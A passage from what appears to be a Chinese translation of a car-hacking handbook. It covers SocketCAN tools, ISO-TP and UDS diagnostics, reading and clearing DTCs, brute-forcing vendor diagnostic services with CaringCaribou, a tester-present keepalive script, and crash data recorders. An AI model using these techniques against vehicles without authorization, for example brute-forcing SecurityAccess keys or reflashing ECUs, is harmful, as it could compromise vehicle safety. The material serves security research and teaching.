isotpdump 此工具转储 ISO-TP CAN 数据包,详细说明见 “使用 ISO-TP 和 CAN 发送数据” 第 55 页 (page 55)。

isotprecv 此工具接收 ISO-TP CAN 数据包并输出到 stdout

isotpsend 此命令发送从 stdin 输入的 ISO-TP CAN 数据包。

isotpserver 此工具实现了 TCP/IP 与 ISO-TP 的桥接,并接受格式为 1122334455667788 的数据包。

isotpsniffer 此交互式嗅探器类似于 cansniffer,但专为 ISO-TP 数据包设计。

isotptun 这个工具在 CAN 网络上创建一个网络隧道。

log2asc 这个工具将标准紧凑格式转换为以下 ASCII 格式:

0.002367 1 390x Rx d 8 17 00 14 00 C0 00 08 00

log2long 这个命令将标准紧凑格式转换为用户可读格式。

slcan_attach 这是一个用于串行线 CAN 设备的命令行工具。

slcand 这个守护进程处理串行线 CAN 设备。

slcanpty 这个工具创建一个 Linux 虚拟终端接口(PTY),以便与基于串行的 CAN 接口进行通信。

安装额外的内核模块

一些更高级和实验性的命令,例如基于 ISO-TP 的命令,要求你安装额外的内核模块,例如 can-isotp,才能使用。截止目前,这些额外的模块并未包含在标准 Linux 内核中,你可能需要单独编译它们。你可以通过以下方式获取额外的 CAN 内核模块:

$ git clone https://gitorious.org/linux-can/can-modules.git
$ cd can-modules/net/can
$ sudo ./make_isotp.sh

一旦 make 完成,它应该会创建一个 can-isotp.ko 文件。

如果你在仓库的根文件夹中运行 make,它会尝试编译一些不同步的模块,因此最好只编译当前目录下需要的模块。要加载新编译的 can-isotp.ko 模块,运行 insmod

# sudo insmod ./can-isotp.ko

dmesg 应该显示它已经正确加载:

$ dmesg
[830053.381705] can: isotp protocol (rev 20141116 alpha)

注意

一旦 ISO-TP 驱动程序证明稳定,它应该被移入 Linux 的稳定内核分支。根据你阅读的时间,它可能已经被移入,所以在编译自己的版本之前,务必检查它是否已经安装。

can-isotp.ko 模块

can-isotp.ko 模块是 Linux 网络层中的一个 CAN 协议实现,它要求系统加载 can.ko 核心模块。can.ko 模块为所有内核中的 CAN 协议实现提供网络层基础设施,比如 can_raw.kocan_bcm.kocan-gw.ko。如果它正常工作,你应该会看到以下命令的输出:

# sudo insmod ./can-isotp.ko
[830053.374734] can: controller area network core (rev 20120528 abi 9)
[830053.374746] NET: Registered protocol family 29
[830053.376897] can: netlink gateway (rev 20130117) max_hops=1

can.ko 没有加载时,你会看到以下内容:

# sudo insmod ./can-isotp.ko
insmod: ERROR: could not insert module ./can-isotp.ko: Unknown symbol in
module

如果你忘记连接你的 CAN 设备或加载 CAN 内核模块,你会看到这个奇怪的错误消息。如果你输入 dmesg 以获取更多信息,你会看到错误消息中引用的一系列缺失符号。

$ dmesg
[830760.460054] can_isotp: Unknown symbol can_rx_unregister (err 0)
[830760.460134] can_isotp: Unknown symbol can_proto_register (err 0)
[830760.460186] can_isotp: Unknown symbol can_send (err 0)
[830760.460220] can_isotp: Unknown symbol can_ioctl (err 0)
[830760.460311] can_isotp: Unknown symbol can_proto_unregister (err 0)
[830760.460345] can_isotp: Unknown symbol can_rx_register (err 0)

dmesg 输出显示了大量的 Unknown symbol 消息,特别是在 can_``x 方法周围。(忽略 (err 0) 消息。)这些消息告诉我们 _isotop 模块无法找到与标准 CAN 功能相关的方法。这些消息表明你需要加载 can.ko 模块。一旦加载,所有功能应该就能正常工作。

编写 SocketCAN 应用程序

虽然 can-utils 非常强大,但你会发现你可能需要编写自定义工具来执行特定操作。(如果你不是开发人员,可能希望跳过这一部分。)

连接到 CAN 套接字

为了编写你自己的工具,首先需要连接到 CAN 套接字。在 Linux 上连接到 CAN 套接字和连接到任何你可能知道的 TCP/IP 网络套接字是一样的。以下显示的是特定于 CAN 的 C 代码,以及连接到 CAN 套接字所需的最小代码。这段代码会将套接字绑定到 can0 作为原始 CAN 套接字。

int s;
struct sockaddr_can addr;
struct ifreq ifr;

s = socket(PF_CAN, SOCK_RAW, CAN_RAW);

strcpy(ifr.ifr_name, "can0");
ioctl(s, SIOCGIFINDEX, &ifr);

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

bind(s, (struct sockaddr *)&addr, sizeof(addr));

让我们来剖析一下特定于 CAN 的部分:

s = socket(PF_CAN, SOCK_RAW, CAN_RAW);

这行指定了协议族 PF_CAN,并将套接字定义为 CAN_RAW。如果你打算创建一个广播管理器(BCM)服务,你也可以使用 CAN_BCM。BCM 服务是一种更复杂的结构,可以监控字节变化和循环 CAN 数据包传输的队列。

这两行命名了接口:

strcpy(ifr.ifr_name, "can0");
ioctl(s, SIOCGIFINDEX, &ifr);

这些行设置 sockaddr 的 CAN 家族,并绑定到套接字,允许你从网络读取数据包:

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

设置 CAN 帧

接下来,我们要设置 CAN 帧,并将 CAN 网络上的字节读取到我们新定义的结构中:

struct can_frame frame;
nbytes = read(s, &frame, sizeof(struct can_frame));

can_framelinux/can.h 中定义为:

struct can_frame {
        canid_t can_id;  /* 32 bit CAN_ID + EFF/RTR/ERR flags */
        __u8    can_dlc; /* frame payload length in byte (0 .. 8) */
        __u8    data[8] __attribute__((aligned(8)));
};

写入 CAN 网络就像 read 命令,但方向相反。简单吧?

Procfs 接口

SocketCAN 网络层模块也实现了 procfs 接口。访问 proc 中的信息可以让 bash 脚本编写更容易,并提供一种快速查看内核活动的方式。你可以在 /proc/net/can//proc/net/can-bcm/ 中找到提供的网络层信息。你可以通过 cat 搜索 rcvlist_all 文件,查看 CAN 接收器的挂钩列表:

$ cat /proc/net/can/rcvlist_all
    receive list 'rx_all':
      (vcan3: no entry)
      (vcan2: no entry)
      (vcan1: no entry)
      device   can_id   can_mask  function  userdata   matches  ident
      vcan0     000     00000000  f88e6370  f6c6f400         0  raw
     (any: no entry)

其他一些有用的 procfs 文件包括以下内容:

统计 CAN 网络层统计

重置统计 重置统计(例如,用于测量)

版本 SocketCAN 版本

你可以在 proc 中限制传输数据包的最大长度:

$ echo 1000 > /sys/class/net/can0/tx_queue_len

将此值设置为你认为适合你应用程序的最大数据包长度。通常情况下,你不需要更改这个值,但如果你发现有流量限制问题,可以尝试调整它。

Socketcand 守护进程

Socketcand (github.com/dschanoeh/socketcand) 提供了一个进入 CAN 网络的网络接口。虽然它不包括 can-utils,但仍然非常有用,特别是在开发类似 Go 这样的编程语言应用时,Go 语言无法设置本章中描述的 CAN 低级套接字选项。

Socketcand 包含一个完整的协议,用于控制与 CAN 总线的交互。例如,你可以向 socketcand 发送以下命令来打开回环接口:

< can0 C listen_only loopback three_samples >

socketcand 的协议本质上与前面提到的 Jan-Niklas Meier 的 BCM 服务器相同;实际上它是 BCM 服务器的一个分支。(不过,Socketcand 比 BCM 服务器更为健壮。)

Kayak

Kayak (kayak.2codeornot2code.org/), 一个基于 Java 的 CAN 诊断和监控 GUI(参见图 3-2),是与 socketcand 一起使用的最佳工具之一。Kayak 与 OpenStreetMaps 连接进行地图显示,并能处理 CAN 定义。作为一个基于 Java 的应用程序,它是平台无关的,因此依赖 socketcand 来处理与 CAN 收发器的通信。

你可以下载 Kayak 的二进制包或从源码编译。为了编译 Kayak,安装最新版本的 Apache Maven,并克隆 Kayak 的 Git 仓库 (git://github.com/dschanoeh/Kayak)。克隆完成后,运行以下命令:

$ mvn clean package

你应该能在 Kayak/application/target/kayak/bin 文件夹中找到你的二进制文件。

image

图 3-2:Kayak GUI 界面

在启动 Kayak 之前,先启动 socketcand:

$ socketcand -i can0

注意

你可以将任意多个 CAN 设备连接到 socketcand,用逗号分隔。

接下来,启动 Kayak 并执行以下步骤:

  1. 使用 CTRL-N 创建一个新项目并为其命名。

  2. 右键点击项目并选择 Newbus;然后为你的总线命名(参见图 3-3)。

    image

    图 3-3:为 CAN 总线创建名称

  3. 点击右侧的 连接 标签;你的 socketcand 应该会出现在自动发现下(参见图 3-4)。

    image

    图 3-4:在连接标签下找到自动发现

  4. 将 socketcand 连接拖动到总线连接上。(在设置之前,总线连接应该显示为 连接:无。)要查看总线,你可能需要通过点击总线名称旁的下拉箭头来展开,如图 3-5 所示。

    image

    图 3-5:设置总线连接

  5. 右键点击总线并选择 打开 RAW 视图

  6. 按下播放按钮(见图 3-6 中的圆圈部分);你应该会开始看到来自 CAN 总线的数据包。

    image

    图 3-6:打开 RAW 视图并按播放按钮查看来自 CAN 总线的数据包。

  7. 从工具栏中选择 颜色化,使你更容易看到和读取变化的数据包。

Kayak 可以轻松地记录和回放数据包捕获会话,并支持 CAN 定义(以开放的 KDC 格式存储)。截至目前,GUI 不支持创建定义,但我稍后会展示如何创建定义。

Kayak 是一个很棒的开源工具,可以在任何平台上运行。此外,它拥有一个友好的 GUI 和先进的功能,允许你定义所看到的 CAN 数据包并以图形方式查看它们。

总结

在本章中,你学习了如何使用 SocketCAN 作为 CAN 设备的统一接口,以及如何设置你的设备并为你的 CAN 总线应用适当的比特率。我回顾了所有带有 SocketCAN 支持的默认 can-utils 工具包,并展示了如何编写低级 C 代码直接与 CAN 套接字进行交互。最后,你学习了如何使用 socketcand 来实现远程与 CAN 设备的交互,并设置 Kayak 以便与 socketcand 配合使用。现在你已经设置好了与车辆的通信,接下来你就可以尝试一些攻击了。

第四章:诊断与日志记录

image

OBD-II 连接器主要供技师快速分析和排查车辆故障。(请参见《OBD-II 连接器》第 17 页了解如何定位 OBD 连接器。)当车辆出现故障时,它会保存与该故障相关的信息,并触发发动机警告灯,也称为故障指示灯(MIL)。这些常规的诊断检查由车辆的主 ECU(电子控制单元)——动力总成控制模块(PCM)处理,PCM 可能由多个 ECU 组成(但为了简化讨论,我们将其称为 PCM)。

如果在实验过程中触发故障,需要能够读写 PCM 才能清除故障代码。在本章中,我们将学习如何获取和清除诊断代码,以及如何查询 ECU 的诊断服务。我们还将学习如何访问车辆的碰撞数据记录以及如何强行破解隐藏的诊断代码。

诊断故障代码

PCM 将故障代码存储为诊断故障代码(DTC)。DTC 存储在不同的地方。例如,基于内存的 DTC 存储在 PCM 的 RAM 中,这意味着当电池断电时,它们会被清除(就像所有存储在 RAM 中的 DTC 一样)。更严重的 DTC 则存储在能够在断电时保存的区域。

故障通常分为硬故障和软故障。软故障通常是间歇性问题,而硬故障则是无法自行消失,需要某种干预的故障。为了确定故障是硬故障还是软故障,技师通常会清除 DTCs(诊断故障代码),然后驾驶车辆看故障是否会重新出现。如果故障重新出现,则是硬故障。软故障可能是由于某些问题引起的,比如油箱盖松动。

并非所有故障都会立即触发 MIL 灯。具体来说,A 类故障(表示严重排放故障)会立即点亮 MIL 灯,而 B 类故障(不影响车辆排放系统的故障)在首次触发时会作为待处理故障存储。PCM 会等待记录多个相同的故障后才会触发 MIL 灯。C 类故障通常不会点亮 MIL 灯,而是触发“发动机即将维修”类型的信息。D 类故障则根本不会触发 MIL 灯。

当存储 DTC 时,PCM 会拍摄所有相关的发动机组件的快照,这些快照被称为冻结帧数据,通常包括如下信息:

• 涉及的 DTC

• 发动机负荷

• 发动机转速(RPM)

• 发动机温度

• 燃油修正

• 进气歧管压力/质量空气流量(MAP/MAF)值

• 操作模式(开环/闭环)

• 油门位置

• 车速

一些系统只存储一个冻结帧,通常是为首次触发的 DTC 或优先级最高的 DTC,而其他系统则会记录多个冻结帧。

在理想的情况下,这些快照应该在 DTC 发生时立刻捕捉到,但通常情况下,冻结帧会在 DTC 触发后的大约五秒钟才会记录下来。

DTC 格式

DTC 是一个五字符的字母数字代码。例如,你会看到像 P0477(排气压力控制阀低)和 U0151(与约束控制模块失去通信)这样的代码。第一个字节位置的代码代表了设置该代码的组件的基本功能,如表 4-1 所示。

表 4-1: 诊断代码布局

字节位置 描述
1 P (0x0) = 动力总成,B (0x1) = 车身,C (0x2) = 底盘,U (0x3) = 网络
2 0,2,3(SAE 标准)1,3(制造商特定)
3 位置 1 的子组
4 具体故障区域
5 具体故障区域

注意

当设置为 3 时,字节 2 既是一个 SAE 定义的标准,又是一个制造商特定的代码。最初,3 专门用于制造商,但现在正在推动将 3 标准化为标准代码。在现代汽车中,如果你在第二位置看到 3,它可能是一个 SAE 标准代码。

DTC 中的五个字符在网络上传输时仅由两个原始字节表示。表 4-2 展示了如何将这两个 DTC 字节拆解成完整的 DTC 代码。

表 4-2: 诊断代码二进制拆解

image

除了前两个字符外,其余字符之间存在一一对应关系。请参见表 4-1,了解前两个比特是如何分配的。

你应该能够在线查找符合 SAE 标准的任何代码的含义。以下是一些常见动力总成 DTC 的示例范围:

• P0001–P0099:燃油和空气计量,辅助排放控制

• P0100–P0199:燃油和空气计量

• P0200–P0299:燃油和空气计量(喷油器电路)

• P0300–P0399:点火系统或失火

• P0400–P0499:辅助排放控制

• P0500–P0599:车辆速度控制和怠速控制系统

• P0600–P0699:计算机输出电路

• P0700–P0799:变速器

若想了解特定代码的含义,可以到你当地的汽车商店拿起一本 Chilton 系列的维修手册。在那里,你会找到你的车辆的所有 OBD-II 诊断代码列表。

使用扫描工具读取 DTC

机械故障码通过扫描工具进行检查。扫描工具是很有用的,但并非车辆黑客必需的工具。你可以在任何汽车配件商店或者互联网上找到它们,价格在 100 美元到 3000 美元之间。

对于最便宜的解决方案,你可以在 eBay 上购买一个约 10 美元的 ELM327 设备。这些通常是需要额外软件(如移动应用程序)才能完全作为扫描工具使用的加密狗。软件通常是免费的或低于 5 美元。基础扫描工具应该能够探测车辆的故障系统并报告常见的非制造商特定 DTC 代码。高端工具应该有制造商特定的数据库,允许你进行更详细的测试。

擦除 DTCs

一旦故障在与首次发现时相似的条件下不再出现,DTCs 通常会自动擦除。对于此目的,相似定义如下:

• 发动机转速与标记条件相差不超过 375 RPM

• 发动机负荷与标记条件相差不超过 10%

• 发动机温度相似

在正常情况下,一旦 PCM 在三次检查后不再检测到故障,MIL 指示灯会熄灭,DTCs 会被擦除。还有其他方法可以清除这些故障代码:你可以通过扫描工具(前一部分讨论过)或断开车辆电池来清除软性 DTCs。然而,永久性或硬性 DTCs 会存储在 NVRAM 中,只有当 PCM 不再检测到故障时才会被清除。原因很简单:防止修车工在问题仍然存在的情况下手动关闭 MIL 灯并清除 DTCs。永久性 DTCs 为修车工提供故障历史记录,使他们能更好地进行修复。

统一诊断服务

统一诊断服务 (UDS) 旨在提供一种统一方式,让修车工能够了解车辆的状态,而无需支付昂贵的汽车制造商专有的 CAN 总线数据包布局许可费。

不幸的是,虽然 UDS 的设计目的是让车辆信息即使对普通修车工也能轻松获取,但现实情况却有所不同:CAN 数据包的发送方式相同,但内容因品牌、型号甚至年份而异。

汽车制造商向经销商出售关于数据包内容的许可证。实际上,UDS 只是作为一个网关,提供部分车辆信息,但并不是全部。UDS 系统并不会影响车辆的运行;它基本上只是一个只读的视图,用于查看车辆的状态。然而,利用 UDS 可以执行更高级的操作,如诊断测试或固件修改(这些测试通常只在高端扫描工具中提供)。此类诊断测试向系统发送请求执行某项操作,且该请求会生成信号,如其他 CAN 数据包,用于执行该操作。例如,诊断工具可能会发出解锁车门的请求,结果是该组件发送一个独立的 CAN 信号,实际完成解锁车门的工作。

通过 ISO-TP 和 CAN 发送数据

由于 CAN 帧的数据量限制为 8 字节,UDS 使用 ISO-TP 协议通过 CAN 总线发送较大的数据输出。你仍然可以使用常规 CAN 读取或发送数据,但响应不会完整,因为 ISO-TP 允许多个 CAN 数据包串联。

要测试 ISO-TP,请连接到具有诊断功能模块的 CAN 网络,例如 ECU。然后使用 SocketCAN 的 cansend 应用程序通过正常的 CAN 发送设计用于 ISO-TP 的数据包:

$ cansend can0 7df#02010d
Replies similar to 7e8 03 41 0d 00

在这个列表中,7df 是 OBD 诊断代码,02 是数据包的大小,01 是模式(显示当前数据;有关常见模式和 PID 的列表,请参见附录 B),0d 是服务(由于车辆停放,车辆速度为 0)。响应会将 0x8 添加到 ID(7e8);接下来的字节是响应的大小。然后,响应会将 0x40 添加到请求类型,这里的请求类型为 0x41。接着,服务会重复并跟随服务数据。ISO-TP 规定了如何响应 CAN 数据包。

普通的 CAN 数据包使用“无回执”结构,意味着它们只是发送数据,并且不等待返回数据包。ISO-TP 指定了一种接收响应数据的方法。由于这个响应数据不能使用相同的仲裁 ID 发送回去,接收方通过将 0x8 添加到 ID 来返回响应,并通过将 0x40 添加到请求中来标明这是一个正面响应。(如果响应失败,应该会看到 0x7F,而不是正面加 0x40 的响应。)

表 4-3 列出了最常见的错误响应。

表 4-3: 常见 UDS 错误响应

十六进制(第 4 字节) 缩写 描述
10 GR 一般拒绝
11 SNS 不支持该服务
12 SFNS 子功能不支持
13 IMLOIF 消息长度不正确或格式无效
14 RTL 响应太长
21 BRR 忙碌的重复请求
22 CNC 条件不正确
24 RSE 请求顺序错误
25 NRFSC 子网组件无响应
26 FPEORA 失败阻止执行请求的操作
31 ROOR 请求超出范围
33 SAD 安全访问被拒绝
35 IK 无效的密钥
36 ENOA 超过尝试次数
37 RTDNE 所需的时间延迟尚未过期
38-4F RBEDLSD 由扩展数据链路安全文档保留
70 UDNA 不接受上传/下载
71 TDS 数据传输已暂停
72 GPF 一般编程失败
73 WBSC 错误的块序列计数器
78 RCRRP 请求已正确接收,但响应正在等待
7E SFNSIAS 活跃会话中不支持子功能
7F SNSIAS 活跃会话中不支持该服务

例如,如果你使用服务 0x11 来重置 ECU,而 ECU 不支持远程重置,你可能会看到如下流量:

$ cansend can0 7df#021101
Replies similar to 7e8 03 7F 11 11

在这个响应中,我们可以看到,在 0x7e8 后,接下来的字节是 0x03,表示响应的大小。下一个字节 0x7F,表示服务 0x11 的错误,即第三个字节。最后一个字节 0x11,表示返回的错误——在这种情况下,表示服务不支持(SNS)。

要发送或接收超过标准 CAN 包 8 字节的数据,使用 SocketCAN 的 ISO-TP 工具。在一个终端中运行 istotpsend,然后在另一个终端中运行 isotpsniffer(或 isotprecv)来查看对 istotpsend 命令的响应。(不要忘记按照第三章中所述的步骤,使用 insmod 加载你的 can-isotp.ko 模块。)

例如,在一个终端中,像这样设置一个嗅探器:

$ isotpsniffer -s 7df -d 7e8 can0

然后,在另一个终端中,通过命令行发送请求包:

$ echo "09 02" | isotpsend -s 7DF -d 7E8 can0

使用 ISO-TP 时,你需要指定源地址和目标地址(ID)。在 UDS 的情况下,源地址是 0x7df,目标(响应)地址是 0x7e8。(使用 ISO-TP 工具时,地址中的起始 0x 不需要指定。)

在这个示例中,我们发送一个包含 PID 0x02 和模式 0x09 的包,目的是请求车辆的 VIN。嗅探器中的响应应该显示车辆的 VIN,如输出的最后一行所示:

$ isotpsniffer -s 7df -d 7e8 can0
 can0  7DF  [2]  09 02  - '..'
 can0  7E8  [20]  49➊ 02➋ 01➌ 31 47 31 5A 54 35 33 38 32 36 46 31 30 39 31 34 39
     - 'I..1G1ZT53826F109149'

前 3 个字节组成 UDS 响应。0x49 ➊ 是服务 0x09 + 0x40,表示 PID 0x02 ➋ 的正响应,即下一个字节。第三个字节 0x01 ➌,表示返回的数据项数量(此例中为一个 VIN)。返回的 VIN 是 1G1ZT53826F109149。将此 VIN 输入 Google,你应该能看到关于这辆车的详细信息,这辆车来自于从废弃汽车中拆下的 ECU。表 4-4 显示了你应该看到的信息。

表 4-4: VIN 信息

车型 年份 品牌 车身 发动机
Malibu 2006 Chevrolet 四门轿车 3.5L V6 OHV 12V

如果你通过普通的 CAN 嗅探器监控这个 UDS 查询,你会看到多个响应包在 0x7e8 上。你可以手动或通过简单的脚本重新组装一个 ISO-TP 包,但 ISO-TP 工具使这变得更加简单。

注意

如果你在运行 ISO-TP 工具时遇到困难,请确保你已正确编译并安装了适当的内核模块(参见“安装附加内核模块”第 42 页)。

理解模式和 PID

在诊断代码的数据部分,首字节是模式。在汽车手册中,模式以 $ 开头,如 \(1。\) 表示数字是十六进制的。模式 $1 与 0x01 相同,$0A 与 0x0A 相同,依此类推。这里列出了一些示例,更多内容可以参考附录 B。

0x01: 显示当前数据

显示给定 PID 的数据流。发送 PID 0x00 会返回 4 字节的位编码可用 PID(0x01 到 0x20)。

0x02: 显示冻结帧数据

与 0x01 相同的 PID 值,只不过返回的数据来自冻结帧状态。

0x03: 显示已存储的“确认”诊断故障代码

与 “DTC 格式” 中提到的 DTC 匹配,见 第 52 页。

0x04: 删除 DTC 并清除诊断历史

清除 DTC 和冻结帧数据。

0x07: 显示“待定”诊断代码

显示曾经出现过但尚未确认的代码;状态待定。

0x08: 控制车载组件/系统的操作

允许技术员手动激活和停用系统执行器。系统执行器支持电子驱动操作并物理控制不同设备。这些代码不是标准的,因此常见的扫描工具在此模式下无法做很多事情。经销商的扫描工具有更多权限访问车辆内部,并且是黑客逆向工程的有趣目标。

0x09: 请求车辆信息

使用模式 0x09 可以提取多个数据。

0x0a: 永久诊断码

该模式提取通过模式 0x04 删除的 DTC。这些 DTC 只有在 PCM 验证故障条件不再存在后才会被清除(见 “删除 DTC” 第 54 页)。

强力破解诊断模式

每个制造商都有自己的专有模式和 PID,通常可以通过查看“获取”的经销商软件或使用工具或强力破解来获得。强力破解最简单的方法是使用一个开源工具叫做 CaringCaribou (CC),可以在 github.com/CaringCaribou/caringcaribou 下载。

CaringCaribou 包含一组专为与 SocketCAN 一起使用的 Python 模块。其中一个模块是 DCM 模块,专门处理发现诊断服务。

要开始使用 CaringCaribou,请在您的主目录中创建一个 RC 文件,~/.canrc.

 [default]
interface = socketcan_ctypes
channel = can0

将您的通道设置为您的 SocketCAN 设备的通道。现在,为了发现您的车辆支持的诊断,运行以下命令:

$ ./cc.py dcm discovery

这将向每个仲裁 ID 发送测试器存在代码。一旦工具收到有效响应(0x40+服务)或错误响应(0x7f),它将打印仲裁 ID 和回复 ID。以下是使用 CaringCaribou 进行的示例发现会话:

-------------------
CARING CARIBOU v0.1
-------------------

Loaded module 'dcm'

Starting diagnostics service discovery
Sending diagnostics Tester Present to 0x0244
Found diagnostics at arbitration ID 0x0244, reply at 0x0644

我们看到有一个诊断服务响应 0x0244。太好了!接下来,我们探测 0x0244 上的不同服务:

$ ./cc.py dcm services 0x0244 0x0644

-------------------
CARING CARIBOU v0.1
-------------------

Loaded module 'dcm'

Starting DCM service discovery
Probing service 0xff (16 found)
Done!

Supported service 0x00: Unknown service
Supported service 0x10: DIAGNOSTIC_SESSION_CONTROL
Supported service 0x1a: Unknown service
Supported service 0x00: Unknown service
Supported service 0x23: READ_MEMORY_BY_ADDRESS
Supported service 0x27: SECURITY_ACCESS
Supported service 0x00: Unknown service
Supported service 0x34: REQUEST_DOWNLOAD
Supported service 0x3b: Unknown service
Supported service 0x00: Unknown service
Supported service 0x00: Unknown service
Supported service 0x00: Unknown service
Supported service 0xa5: Unknown service
Supported service 0xa9: Unknown service
Supported service 0xaa: Unknown service
Supported service 0xae: Unknown service

请注意,输出中列出了多个重复的服务 0x00。这通常是由于对非 UDS 服务的错误响应所致。例如,0x0A 以下的请求是旧模式,无法响应官方 UDS 协议。

注意

截至目前,CaringCaribou 仍处于开发初期阶段,您的结果可能会有所不同。目前可用的版本没有考虑旧模式,并且错误地解析响应,这就是为什么您会看到几个服务的 ID 为 0x00。暂时忽略这些服务,它们是误报。CaringCaribou 的发现选项会在响应诊断会话控制(DSC)请求的第一个仲裁 ID 处停止扫描。您可以使用 -min 选项从上次扫描停止的地方重新启动扫描,方法如下:

$ ./cc.py dcm discovery -min 0x245

在我们的示例中,扫描将在稍后停止扫描,停在这个更常见的诊断 ID:

Found diagnostics at arbitration ID 0x07df, reply at 0x07e8

保持车辆在诊断状态

在进行某些类型的诊断操作时,保持车辆处于诊断状态非常重要,因为这可以减少中断的可能性,从而允许您执行需要几分钟的操作。为了保持车辆处于这种状态,您需要持续发送数据包,告知车辆有诊断技术人员在场。

这些简单的脚本将使车辆保持在诊断状态,这对于刷写 ROM 或暴力破解非常有用。测试者在场的数据包将车辆保持在诊断状态。它起到心跳的作用,因此您需要每一到两秒发送一次,如下所示:

#!/bin/sh
while :
do
    cansend can0 7df#013e
    sleep 1
done

您也可以使用 cangen 做同样的事情:

$ cangen -g 1000 -I 7DF -D 013E -L 2 can0

注意

截至目前, cangen 在串行线 CAN 设备上并不总是有效。一种可能的解决方法是告诉 slcand 使用 canX 风格的名称,而不是 slcanX。

使用 ReadDataByID 命令通过 ID 读取数据并查询设备信息。0x01 是标准查询。增强版的 0x22 可以返回标准 OBD 工具无法获取的信息。

使用 SecurityAccess 命令(0x27)访问受保护信息。这可以是一个滚动密钥,意味着密码或密钥每次都会改变,但重要的是,如果成功,控制器会有响应。例如,如果您发送密钥 0x1,并且它是正确的访问码,那么您应该收到 0x2 的回应。某些操作,如刷写 ROM,将需要您发送 SecurityAccess 请求。如果您没有生成必要挑战响应的算法,您将需要暴力破解密钥。

事件数据记录器日志

您可能知道飞机上有黑匣子,记录关于飞行的信息以及驾驶舱内和无线电传输中的对话。所有 2015 年及以后的车辆也被要求配备一种黑匣子,称为事件数据记录器(EDR),但 EDR 仅记录飞机黑匣子记录的部分信息。EDR 存储的信息包括以下内容(您可以在 SAE J1698-2 中找到更完整的列表):

• 安全气囊部署

• 刹车状态

• Delta-v(纵向速度变化)

• 点火周期

• 安全带状态

• 转向角度

• 油门位置

• 车辆速度

尽管这些数据与冻结帧数据非常相似,但其目的是在发生碰撞时收集和存储信息。EDR 会不断地存储信息,通常每次只存储大约 20 秒的数据。这些信息最初存储在车辆的气囊控制模块(ACM)中,但现代车辆将这些数据分布在车辆的 ECU 中。这些模块从其他 ECU 和传感器收集数据并将其存储,以便在碰撞后恢复。 图 4-1 显示了一个典型的 EDR。

image

图 4-1:典型的事件数据记录器

从 EDR 中读取数据

读取 EDR 数据的官方方式是使用碰撞数据检索(CDR)工具包。基本的 CDR 工具将连接到 OBD 接口,并从主 ECU 获取数据(或对车辆进行成像)。CDR 工具还可以访问其他模块中的数据,例如 ACM 或翻滚传感器(ROS)模块,但通常需要直接插入这些设备,而不是通过 OBD 端口进行连接。(你可以在这里找到一份详细的清单,列出了哪些车辆可以检索到黑匣子数据: www.crashdatagroup.com/research/vehiclecoverage.html。)

CDR 套件包括专有的硬件和软件。硬件通常的费用约为 2000 美元,软件的费用会根据你希望支持的车辆类型数量而有所不同。车辆碰撞数据的格式通常也被视为专有数据,许多制造商将通信协议授权给工具提供商,以制作 CDR。显然,这并不符合消费者的最佳利益。美国国家公路交通安全管理局(NHTSA)已提议采用标准的 OBD 通信方法来访问这些数据。

SAE J1698 标准

SAE J1698 标准列出了事件数据收集的推荐做法,并通过采样率定义事件记录:高采样、低采样和静态采样。高采样是碰撞事件中记录的数据,低采样是碰撞前的数据,静态采样是不会改变的数据。许多车辆受 SAE J1698 的影响,但并不一定完全遵循其针对所有车辆数据的规则。

一些记录的元素包括:

• 巡航控制状态

• 驾驶员控制:驻车制动、前大灯、前雨刷、档位选择、乘客气囊禁用开关

• 最前座轨道位置

• 操作时长

• 指示灯状态:VEDI、SRS、PAD、TPMS、ENG、DOOR、IOD

• 纬度和经度

• 座位位置

• SRS 部署状态/时间

• 空气/车厢温度

• 车辆里程

• VIN

虽然 SAE J1698 标准中提到纬度和经度记录,许多制造商声称出于隐私原因不记录这些信息。你的研究结果可能会有所不同。

其他数据检索实践

不是所有的制造商都遵守 SAE J1698 标准。例如,自 1990 年代以来,通用汽车在其车辆的感知与诊断模块(SDM)中收集了一小部分 EDR 数据。SDM 存储车辆的 Delta-v,即车辆速度的纵向变化。SDM 不会记录任何碰撞后的信息。

另一个例子是福特的 EDR,称为约束控制模块(RCM)。福特存储的是车辆的纵向和横向加速度数据,而不是 Delta-v。如果车辆具有电子油门控制,PCM 会存储额外的 EDR 数据,包括乘客是否为成年人、油门/刹车踏板的踩下百分比,以及事故发生时诊断代码是否处于激活状态。

自动碰撞通知系统

自动碰撞通知(ACN)系统 是与制造商或第三方联系并提供事件信息的“电话回家”系统。这些系统与其他碰撞恢复系统相吻合,并通过与制造商或第三方联系来扩展功能。一个主要的区别是,没有规则或标准来确定 ACN 收集和发送的数据。ACN 是特定于每个制造商的,每个系统发送的信息都不同。例如,Veridian 自动碰撞通知系统(2001 年发布)报告以下信息:

• 碰撞类型(正面、侧面、后面)

• 日期和时间

• Delta-v

• 经度和纬度

• 车辆的品牌、型号和年份

• 主要受力方向

• 可能的乘员人数

• 翻车(是或否)

• 安全带使用情况

• 车辆的最终停放位置(正常、左侧、右侧、车顶)

恶意意图

攻击者可能会针对车辆的 DTC 和冻结帧数据,以隐藏恶意活动。例如,如果某个漏洞需要利用一个短暂的、临时的条件来成功,车辆的冻结帧数据很可能会因为记录延迟而错过这一事件。捕获的冻结帧快照很少包含有助于确定 DTC 是否由恶意意图触发的信息。(因为黑匣子 EDR 系统通常只在发生碰撞时触发,攻击者不太可能会针对它们,因为它们不太可能包含有用的数据。)

攻击者在进行模糊测试时,可能会检查是否触发了 DTC,并利用 DTC 中包含的信息来确定受到影响的组件。此类攻击最有可能发生在攻击的研究阶段(当攻击者试图确定随机生成的数据包影响了哪些组件时),而不是在活跃的漏洞利用过程中。

访问和模糊测试厂商特定的 PID—通过刷写固件或使用模式 0x08—可能会产生有趣的结果。由于每个厂商的接口都保密,评估网络的实际风险变得非常困难。不幸的是,安全专家需要逆向或模糊测试这些专有接口,以确定哪些内容是暴露的,然后才能开展工作以确定是否存在漏洞。恶意行为者也需要做同样的事情,尽管他们不会愿意分享他们的发现。如果他们能够保密未记录的入口点和弱点,那么他们的漏洞利用将持续更长时间而不被发现。拥有进入车辆的秘密接口并不会增加安全性;这些漏洞无论人们是否允许讨论,都会存在。因为出售这些代码有利可图(有时高达 50,000 美元以上),所以该行业缺乏与社区合作的动力。

总结

